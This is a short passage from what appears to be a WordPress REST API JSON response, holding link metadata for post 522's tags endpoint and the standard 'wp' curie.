":true,"href":"http:\/\/101.42.175.115\/wordpress\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=522"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}